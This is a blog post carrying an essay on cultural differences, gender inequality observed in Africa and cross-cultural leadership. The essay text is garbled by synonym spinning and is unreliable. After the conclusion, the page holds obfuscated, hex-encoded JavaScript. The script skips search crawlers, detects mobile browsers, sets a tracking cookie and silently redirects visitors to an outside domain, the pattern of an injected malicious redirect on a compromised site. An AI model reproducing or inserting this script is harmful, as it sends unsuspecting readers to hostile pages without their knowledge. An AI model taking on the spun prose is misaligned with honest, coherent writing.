Living her life for Him

CULTURAL Dissimilarities And other people MANAGEMENT

Posted on: May 15, 2017

CULTURAL Dissimilarities And other people MANAGEMENT

In a single time or one more on one’s lifestyle, it is vitally potential to search out on your own in the problem where you really need to interact with people young and old that don’t keep identical cultural values while you do. In this kind of scenario, it will always be extremely important for one particular set several items into account. As an example, you may find that the model of food you consume seriously isn’t the exact same as being the just one from your tradition. “…At like periods, you may find by yourself developing a large amount of conditions embracing the changes…” (Gelfand & Leung: 514). However, it is vitally beneficial to ensure that you simply get ways in which you can convert to changing to the norms of the culture. As it will be normally said, change is often inevitable but there are also moments we are left with no option but to embrace the changes.

Growing up in the city has made me grow up thinking the entire world is just like home. What I mean is, I have lived in New York city for almost the entire of my childhood. I have lived seeing regular people drive big cars, attend school and do the normal activities. Little did I know that there are many people whose normal everyday life is totally different from mine. Last summer, my parents and I went for a vacation to Africa and I experienced a totally different tradition there. This paper focuses on cultural diversities and other people administration. It shows how different cultures do their operations as opposed to others. It also shows how to react and fit in different cultures as well as some leadership skills that an individual should apply when appointed leader from a different lifestyle.

Gender Inequality

In almost all cases, when gender inequality is mentioned, women especially the girl child comes to the minds of many. Gender inequality is outlined in multiple processes especially in those of administration in which the number of female workers is disproportionate to male workers while you climb the ladder (Firestone, 2013). It happens to be different in scope and practice but this diary examines the African context I experienced.

Through my adventure in Africa and through interviewing different men or women who live in the tropical forests of Africa, it has come to my attention that there are cultures that still don’t acknowledge the importance of educating their female children. When I enquired from different most people, there were many reasons as to why the girl child should not be educated. Furthermore, these buyers seemed so firm with their practices and convictions meaning that they are not expected to change at all. According to what they believe, a girl child should stay home and do chores with her mother while her brothers go to school. Its so unfortunate the kind of world we are living. “There are so many dissimilarities in culture that families don’t even know…” that are outlined in cultural perspectives of different visitors. (Jackson & Wang 912). Maybe it happens to be because they never stop to think about it. When we are so well off with our lives and going to school thinking that is the normal lifestyle that people young and old should be living, there are customers that live a totally different life. There are women and men out there who don’t even know how to write their own names because they have been denied the chance to do so by their cultural beliefs and customs.

In that region, they also believe that a girl should also not get any share of his father’s or parent’s inheritance. They believe that girls should wait until they are mature enough they are married off and are expected to inherit from the new homes. I couldn’t stop wondering what a girl should do when she doesn’t get married off yet her time has already arrived. I lost my patience and I had to ask that question. I was told that these types of things don’t happen. When I asked the reason, it was simple; the girls know who will marry them as soon as they are born. Furthermore, payment of dowry starts right after they are born. Sometimes they are not told who is going to marry them until the time comes and they are mature enough to get married. This is normally around 18 to 22 years of age. The information I got really shocked me. I couldn’t believe that there are citizens who don’t go through education or who get married off against their will. I was trying to place myself in the exact same state of affairs and I realized that fitting into such a culture would be the hardest task I would ever take.

Cultural Discrepancies within Cultures

Moreover, I came to realize that there are so many cultural variations that occur within cultures of the very same regular people. What this means that there are cultures that still have dissimilarities within themselves. These are intercultural discrepancies are common everywhere all over the world. “…You will get hold of a certain culture that doesn’t perform certain matters exactly a similar way other people today do in the exact same culture…” (Williams & Hardison 512). From my research I have come to realize that in most cases, these intercultural variations are attributed to traditional grounds. As it has been with many cultures, everyone have been following what their forefathers used to do. However, some cultural values have faded away due to globalization as well as other factors. I realized that there are certain cultures cut across between tribal basis. There are some tribes in the same lifestyle that cannot intermarry with each other. As said earlier, these factors happen is there were conflicts between them and their forefathers. The conflicts and variances are hence passed from generation to generation and finally you look for that doing these types of facts will be a way of showing disrespect to the forefathers.

According to what the people believe, doing against their ancestors is a taboo and could cause to punishment from the ancestors. I was amazed by these cultural beliefs. According to what I believe, I can fall in love and marry with any person of my choice regardless of their beliefs. I also noticed that there are variances with the types of foods that they feed as well. Most of their foods are a similar but there are foods that are rather rare to look for in some places and plenty in other places in the exact same lifestyle. The difference in meals is one more intercultural distinctions that I noticed. Furthermore, there are practices considered taboo in some buyers and others are just normal. Furthermore, I also came to realize that there are differences in their languages. I found out that despite the fact these everyday people have the exact same beliefs, there are a few distinctions in their languages. Some of their words might rhyme while there are others that are totally different in every aspect. Furthermore, I noticed that there are words that are pronounced the same way but totally different in meaning. This is very important in realizing the use of language impacts the perception that people young and old have around them. I have been brought up in the place where there is only a particular common language and if I hear someone using a different language, what comes into my mind is the person shouldn’t be from this place. It is really important for consumers to learn their cultural variances and work on solving their variances to avoid any conflicts that are capable of rising from identical. These discrepancies that are present within cultures can also lead to acts of violence when women and men are faced with distinctions. These is the case through the examination of the distinctions in religion through the study of Christianity and Islam. Although both essentially have the same beginnings in the Old testament, discrepancies in practice have led to conflict in both ancient and modern occasions.

Cross-cultural Leadership

Leadership is the act of influencing most people or a group of buyers into performing quite a few actions towards the achievement of certain goals (Gelfand, Aycan, Erez & Leung, K., 2017, 514). Leaders have various sorts of tasks that need to be fulfilled in whatever cultural environment they are faced with. As an example, leaders should constantly be motivated so the also pass the motivation to the team members regardless of background. Furthermore, leaders should also ensure that they are informed of the operations of the organizations that they are leaders in. This means that leaders should ensure that they know exactly what is culturally appropriate for the folk that they are leading. Being informative helps them give specific details of the tasks that they want done. Most leaders normally become surprisingly good managers in the future. However, it’s primary to note that leaders have lots of distinctions from managers. As leaders give directions and plans of what should be done, it can be the duty of the manager to follow up and ensure that these tasks are performed and in the right manner. Sometimes leaders force troubles when they are chosen to lead people young and old that are from different cultures from them.

Through experience, I witnessed my dad go through much of troubles when he travelled to China to become the managing director of a smartphone manufacturing company. He used to narrate to me how he struggled to communicate to them. Communication barrier can be a big problem to individuals when they mix with other cultures. In some cases, companies recommend that human beings learn a common language these kinds of as English to ease communication. Communication barrier has been reported as one particular of the main troubles that consumers go through during their interaction with other cultures. In these types of cases, costs of interpretation are incurred which is normally a waste of time. It truly is also very important to note that in some cases, individuals normally face distinctions in interests and preferences due to a change in culture (Schroeder & Mandala 71). For instance, my father was no so used to Chinese foodstuff despite the fact that he had tried it once. Unfortunately, he didn’t like it and hence he didn’t feel comfortable eating the food stuff. He continuously missed experiencing some dinner from home and told me that every time. He also complained of possessing worries coordinating the visitors to perform the tasks that he needed them done. Sometimes he even faced resistance from some workers that undermined him because he was not not from their world as they claimed. However, he moved on with his work and ignored them until both the workers and him got used to one an extra and started working together. Through tolerance and patience my dad became assimilated to the culture and practices of the Chinese helping him become a better business leader.

Significance of Cultural Diversities

Cultural distinctions have so much of significance to the most people. There are so many everyday people who make a living from cultural differences. Cultural dissimilarities have created many jobs. For instance, there are people who normally act as interpreters at the borders or major markets to ease business transactions. These consumers get paid handsomely for their work since without them, certain business transactions wouldn’t be carried on. Furthermore, there are other buyers who act middlemen between people young and old of different cultures for the purposes of enabling business activities. For illustration, during my visit to Africa, I met several everyone who spoke English and were selling products to us. These consumers had gone to school and learnt English purposely to enable them perform these businesses. We learnt that these human beings normally buy these products at relatively cheap prices and then sell them to tourists to make profit. The local families who don’t understand English are left with no choice but to sell them to them because they don’t have the capability to sell them to sell their products directly to the tourists.

Moreover, cultural dissimilarities are primary in the sense that they bring along the knowledge and expertise needed by companies to set up businesses. There are so many human beings that form alliances with the local people today to set up partnerships and start organizations. I have seen totally many organizations with owners from totally different cultural backgrounds. In these cases, the local persons has the task of helping the foreign partners with local knowledge. On the other hand, the foreign partners normally get knowledge from their countries and apply it to the local organizations for the betterment of the overall company (Moran 2014:61). The main aim of these alliances and partnerships is to bring profit for the partners. The local partner normally has a duty of ensuring that he has all the knowledge of the market as well as that of the suitable customers. It happens to be also the responsibility of the local partner to ensure which the organization has captured all the needs and preferences of the customers so that they deliver the best products as well as gain the competitive advantage. The cultural diversity between these everyday people also there is a wide range of market for their products. In most cases, the goods are normally sold to the countries from whom these partners come from thereby making the concepts of society and influence into other nations.

Cultural Adjustment/Adaptation

It is critical to locate ways in which a single can adjust to unique cultural diversities that everyday people go through. Regardless of the cultural variations that men and women go through, at just one time or a new, just one may possibly get hold of himself in a very position exactly where they have got to adjust to the available cultural diversities. These are cases whereby human beings see themselves in situations in which they have no option but to adjust to the place. My father made me realize that it is not always as easy as it possibly will sound to adjust to these changes. By way of example, you might find that citizens are not responsive to your orders as a leader which might possibly make you so irritated. 1 thing that I have come to learn in the process of adjusting to varieties of cultural diversities is that respect is very beneficial. Respect comes in especially when you are the odd just one out inside of a certain tradition (Ibert & Muller:591). For instance, if you are in an organization whose members are of a different society from yours, it’s always integral to ensure that you choose to respect their decisions as well as ensuring that you just are humble and easily follow instructions. I learnt that being humble and trying to create friends is a vital thing when faced with this type of issue. Being violent will raise a great deal of hatred and they will plot bad tasks to you. However, you should not be very soft on them and forget your responsibilities.

Moreover, in the process of adapting to a certain lifestyle, it is really really important to follow various steps that are helpful to for your success in the process. I have learnt that it is extremely crucial for one to go through the spectator phase first. In this phase, one particular is only supposed to watch as items are done and learn how they are being performed. When I went to Africa, it is really so obvious that I had no knowledge pertaining to how they, talk, cook as well as do their daily activities. I had only heard stories that I never thought that were real. I therefor had to go to the place and confirm it myself. Since I had no slight information of how elements are done there, I had to wait and watch them and then copy from them. This phase can be quite indispensable because it ensures that everyday people don’t jump into doing points the way they are used to and then it occur to them later that they have done the wrong thing. This phase helps avoid any disputes “…Later after learning their way of doing items, you can go through the first lifestyle shock where by a particular now receives different responses upon his actions…” (Burtch & Wattal: 99). This is just where just one is corrected is he does something in an unacceptable manner. Later after perfecting this stage, an individual is able to adapt to the way of existence of the persons. Within a while, 1 becomes quite flexible to the lifestyle and hence becomes part of the culture. It is really principal to note that this is a gradual process and may very well take a long time depending on the way a particular is learning.

Conclusion

The world is full of cultural diversification because of the existence of several cultures that are present within it. It’s integral for leaders to get in touch with the cultural aspects of business if they aim to succeed in the administration of personnel. Cultural differences are also felt in more subtle terms this sort of as through interaction. My dad had a problem with getting accustomed to Chinese cuisine. These subtleties can often lead to greater disagreements along the lines of cultural interaction. Especially in a nation like China which requires the conduction of business deals while breaking bread (Mu, Kityama & Helfund, 2015, 15558). The world today is full of cultural diversities. Everywhere that men and women travel in the world, there are normally society that do not resemble with theirs in all or some perspectives. It is very crucial for people young and old to learn ways of handling these cultural diversities so that day to day activities are easily achieved. Most people are normally faced with an awful lot of challenges trying to adapt to their new cultures. It is usually therefore paramount for them to humble themselves and to follow the right steps of adjustment.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Lesson For The Week

~Gossip is what no one claims to like -- but everyone enjoys. Author: Joseph Conrad ~The things most people want to know about are usually none of their business. Author: George Bernard Shaw

Calender

May 2017
S M T W T F S
« Apr   Jun »
 123456
78910111213
14151617181920
21222324252627
28293031  

Blog Visitors

  • 38,420 Visited
%d bloggers like this: